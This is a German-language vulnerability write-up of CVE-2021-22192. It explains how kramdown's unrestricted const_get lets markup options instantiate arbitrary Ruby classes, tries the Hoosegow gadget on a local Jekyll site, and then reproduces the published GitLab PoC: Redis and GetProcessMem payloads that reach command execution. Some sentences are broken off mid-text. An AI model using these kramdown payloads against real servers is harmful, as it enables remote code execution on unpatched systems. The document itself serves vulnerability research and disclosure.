
CVE-2021-22192
Als ich mit der Analyse dieses Fehlers begann, hatte ich nur einige wertvolle Informationen von lyy289065406, die mir halfen, das Kernproblem dieses Bugs zu verstehen. Es schien, dass der Fehler in der gem kramdown (<= 2.3.0) liegt, also beschäftigte ich mich zuerst mit kramdown.
Wir können den Patch von kramdown prüfen und sehen den Unterschied in der Funktion formatter_class im Modul Kramdown::Converter::SyntaxHighlighter::Rouge.
::Rouge::Formatters.const_get(formatter) wurde zu ::Rouge::Formatters.const_get(formatter, false) geändert.
Die Methode const_get wird von der Klasse Object geerbt und kann Konstanten abrufen. Sie kann sogar Klassen zurückgeben, die zuvor deklariert wurden und die sie finden kann. Der Unterschied besteht hier nur im zusätzlichen Parameter false. Durch das Hinzufügen von false kann const_get keine Konstanten aus übergeordneten Klassen oder Modulen mehr abrufen.
Besonders ist außerdem, dass in der Funktion self.call formatter_class aufgerufen und anschließend new(opts) ausgeführt wird. Das bedeutet, dass die über const_get ermittelte Methode über den Konstruktor initialisiert wird.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Mithilfe von Kramdown:Options können wir die Funktion Kramdown::Converter::SyntaxHighlighter::Rouge.call aufrufen.
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
Außerdem sehen wir, dass im Modul Kramdown:Options die Funktion simple_hash_validator YAML.safe_load(val) aufruft. Damit können wir auch eine YML-Datei konfigurieren, um die gewünschte Payload an Kramdown::Converter::SyntaxHighlighter::Rouge zu übergeben.
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
Zuerst muss ich Jekyll aufsetzen:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock bearbeiten, um die kramdown-Version auf <= 2.3.0 zu setzencd jekyllTest
Datei Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
Damit haben wir eine Jekyll-Seite erstellt. Nun können wir eine Payload einfügen, um zu sehen, ob Kramdown::Converter::SyntaxHighlighter::Rouge.call tatsächlich eine Methode aufrufen kann.
Wir können in die Datei ./_config.yml Folgendes einfügen:
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
Oder ein kramdown-Dokument verwenden, indem wir die Payload in ./_posts/*.markdown einfügen.
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Hier verwende ich die zweite Methode =)))))
bundle exec jekyll serve
Möglicherweise tritt der Fehler "require': cannot load such file -- webrick (LoadError)" auf; du musst gem "webrick" zur Gemfile hinzufügen
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: Das zeigt, dass die Klasse CSV aufgerufen wurde.Laut einem Analyseartikel zu CVE-2020-10518, der den kramdown-Fehler nutzt, um eine RCE auf GitHub auszulösen, ziele ich auf die Klasse Hoosegow:
initialize von Hoosegow load_inmate_methods aufgerufen wird.def initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods sehen wir, dass require inmate_file aufgerufen wird. def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
Aber inmate_file wird durch Verkettung von @inmate_dir mit 'inmate.rb' erzeugt. Wenn wir diese Klasse aufrufen und den Parameter inmate_dir auf den Pfad zu unserer Payload-Datei setzen können, würde dann nicht hier eine RCE auftreten?
Ich führe ein Skript im Pfad der Jekyll-Seite aus, um die definierten Methoden zu überprüfen:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow" verwendet habe.require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
Es stellte sich heraus, dass die Klasse Hoosegow in meinem Klassenpfad nicht deklariert war. Ich fügte gem "hoosegow" zur Gemfile hinzu, und das Skript fand diese Klasse. [Hehehe]
Als Nächstes versuche ich, Hoosegow über kramdown aufzurufen.
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Ich hing hier fest ... eine Woche. Ja, eine Woche ist dafür draufgegangen. Ich kreiste um die Frage: „Warum ist die Klasse Hoosegow in Bundler vorhanden, aber wenn ich sie über Kramdown aufrufe, klappt es nicht? Es sollte doch eigentlich funktionieren ???“
Ich dachte: „Wenn es in der Gemfile deklariert ist, bedeutet das, dass die Klasse im Klassenpfad vorhanden ist. Wenn das Programm 'Hoosegow' also immer noch nicht findet, dann ist sie sicherlich noch nicht geladen worden ...“ Welche Möglichkeit gibt es also, eine gem zu deklarieren, sodass Jekyll beim Start die gem lädt, bevor andere Teile im Quellverzeichnis verarbeitet werden?
Ich habe die Jekyll-Doku gelesen und jekyll_plugins gefunden. Meine Deklaration in der Gemfile war nicht genug; man muss die gem in der Gruppe jekyll_plugins deklarieren, erst dann klappt es :( Denn wenn die gem in jekyll_plugins deklariert ist, wird sie auf jeden Fall geladen, bevor Jekyll andere Quellen verarbeitet, selbst wenn Jekyll im Safe-Modus läuft.
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.12"
gem "hoosegow"
end
inmate.rb unter C:/ und führe dann die Payload aus:{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}
~~~ ruby
def what?
42
end
~~~
inmate.rb wurde aufgerufen. Damit sind wir dem erfolgreichen PoC schon ziemlich nahe, nicht wahr?
inmate.rb auf den Gitlab-Server bringt und herausfindet, wo sich die gerade hochgeladene Datei inmate.rb befindet ??inmate.rb direkt in unser Projekt hochladen und die Datei .gitlab-ci.yml bearbeiten.before_script:
- pwd
- gem install bundler
- bundle install
.gitlab-ci.yml bearbeitete. Ich habe versucht, sie auf verschiedene Weisen zu erklären: „Vielleicht gibt es einen Mechanismus, der .yml-Dateien scannt, bevor sie geladen werden?“, ... aber das hat mich nicht zufriedengestellt ...
Ich suchte nach einem anderen Eingabeweg, nämlich der Wiki-Seite. Die Wiki-Seite erlaubt das Kramdown-Format, also habe ich es dort versucht, aber ohne Ergebnis, weil ich die Payload nur in die Standarddatei '*.md' eingefügt habe und die '*.md'-Datei die erforderlichen Funktionen einschränkt. Deshalb habe ich diesen Weg verworfen :(
An diesem Punkt musste ich anhalten und auf die Veröffentlichung des PoC warten, um Zeit für andere Forschung zu haben.
An einem schönen Tag wurde der PoC veröffentlicht. Nach dem Lesen bekam ich starke Gänsehaut, das ist unbeschreiblich =)).
Wir lagen mit dem Kernproblem in kramdown richtig, aber der Weg dorthin bei Gitlab war wohl etwas lahm =)
Der Autor entdeckte, dass beim Hochladen einer Wiki-Seite mit einer '*.rmd'-Datei das Programm render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render aufruft. Dadurch wird die '*.rmd'-Datei mit kramdown gerendert.
Der Autor lud seine '.rmd'-Datei hoch, indem er die Wiki-Seite lokal klonte und dann mit git die Wiki-Seite (einschließlich der '.rmd'-Datei) auf Gitlab pushte.
Der Autor verwendete die Klasse Redis (sie ist im Gitlab-Projekt bereits deklariert, daher können wir diese Klasse aufrufen und verwenden), um seine Payload auszuführen.
Beim Initialisieren der Klasse Redis ruft das Programm die Methode _parse_driver auf, wenn die Option driver vorhanden ist. Dort ruft das Programm require "connection/#{driver}" auf; wir können die Variable driver beeinflussen, sodass das Programm die Payload-Datei lädt, die wir auf den Server hochgeladen haben.
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
Mit der Funktion zum Erstellen eines neuen snippet kann ein Angreifer eine Ruby-Payload über Attach a file hochladen.
In diesem Exploit muss der Angreifer den Speicherort der hochgeladenen Payload-Datei herausfinden. Das veranlasste den Autor, einen anderen Exploit-Weg zu finden:
Unter Verwendung des Ansatzes, über Kramdown die Klasse Redis aufzurufen, importierte der Autor zuerst die gem get_process_mem mit folgender Payload:
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}
~~~ruby
def what?
42
end
~~~
Danach verwendet er die zuvor importierte gem get_process_mem, um RCE auszuführen.
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}
~~ ruby
def what?
42
end
~~
Somit kann ein Angreifer RCE auf dem Gitlab-Server ausführen, ohne die Adresse der Payload-Datei zu kennen.
Referenzen: